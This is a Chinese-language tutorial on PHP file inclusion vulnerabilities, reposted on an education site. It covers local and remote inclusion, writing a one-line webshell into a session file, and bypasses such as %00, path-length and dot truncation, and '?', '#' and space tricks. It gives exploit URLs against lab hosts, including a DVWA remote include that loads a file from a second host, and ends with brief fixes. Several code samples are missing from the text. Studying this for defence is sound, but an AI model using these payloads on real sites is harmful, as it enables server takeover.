栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

文件包含漏洞

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

文件包含漏洞

文件包含漏洞 原理

文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

在php中,提供了四个文件包含的函数

文件包含函数会将文件包含进去,直接使用包含文件中的代码。

分别为:

include(): include ‘filename’;

​ include 只生成警告(E_WARNING),并且脚本会继续

include_once():

​ 和 include() 语句类似,唯一区别是如果该文件中的代码已经被包含了,则不会再次包含。

require(): require ‘filename’;

​ require 会生成致命错误(E_COMPILE_ERROR)并停止脚本

require_once():

​ 和 require() 语句类似,唯一区别是如果该文件中的代码已经被包括了,则不会再次包括。

文件包含危害

危害

1.配合文件上传漏洞Getshell (常见图片马中)
2.可执行任意脚本代码
3.可导致网站源码文件及配置文件泄露
4.远程包含GetShell
5.控制整个网站甚至服务器

文件包含脚本
文件包含各个脚本代码

ASP,PHP,JSP,ASPX等









<%@ include file="head.jsp" %>


  
文件包含类型

LFI:local fileinclude 本地文件包含漏洞,被包含的文件在服务器本地

RFI:remote file include 远程文件包含漏洞,被包含的文件在第三方服务器(如站库分离)

本地包含

本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行。

文件包含可以包含任意文件,如图片,文本文件,压缩包等等,如果文件中有服务器能识别的脚本语言,就按照当前脚本语言执行,否则就直接显示出源代码

无限制的本地文件包含

本地文件包含脚本


include将filename包含了进去

而filename为用户可以控制的部分

包含实例:

pp.txt文件内容


将txt文件中的内容,作为代码执行了

不仅可以包含当前目录下的文件,也可以使用…/返回上一级目录,包含上一级目录的文件

那我们可以通过这种方式,获取到系统的敏感文件,如用户名密码等。

session文件包含

session的存储位置在phpinfo中可以看到

session中的内容可以被控制,传入恶意代码,如一句话木马等


用get方法传参数a,将a写入session

到文件中查看

写入到服务器中

那可以用此方法,将恶意代码写入,直接getshell

例如

http://192.168.48.134/session.php/?a=

再使用文件包含

就直接显示phpinfo信息

有限制的本地文件包含 %00截断

要求条件:

php<5.3.4 magic_quotes_gpc = Off


指定了包含文件的后缀为,html

可以使用%00截断来绕过

路径长度截断

Windows下目录最大长度为256字节,超出的部分会被丢弃;

Linux下目录最大长度为4096字节,超出的部分会被丢弃。

http://192.168.48.134/00.php/?filename=pp.txt././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

其中./超过256字节即可

点号截断

Windows下目录最大长度为256字节,超出的部分会被丢弃;

Linux下目录最大长度为4096字节,超出的部分会被丢弃。

http://192.168.48.134/00.php/?filename=pp.txt..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

其中…超过256个即可

远程包含

是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在,危害性会很大。

但远程文件包含漏洞的利用条件较为苛刻,需要php.ini中配置

allow_url_fopen=On (是否允许打开远程文件)

allow_url_include=On (是否允许include/require远程文件)

无限制远程文件包含

http://192.168.48.134/DVWA-master/DVWA-master/vulnerabilities/fi/?page=http://192.168.48.1/pp.txt

显示了phpinfo页面

远程上传了192.168.48.1的文件

有限制远程文件包含

自动将后缀加上了.html

问号绕过
http://192.168.48.1/1.php/?filename=http://192.168.48.134/pp.txt?

在路径后加一个?,成功绕过

#绕过

#的url编码为%23

空格绕过

空格的url编码为%20

修复

1.过滤…/./

2.配置php.ini,关闭allow_url_fopen与allow_url_include

3.设置白名单

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/693735.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号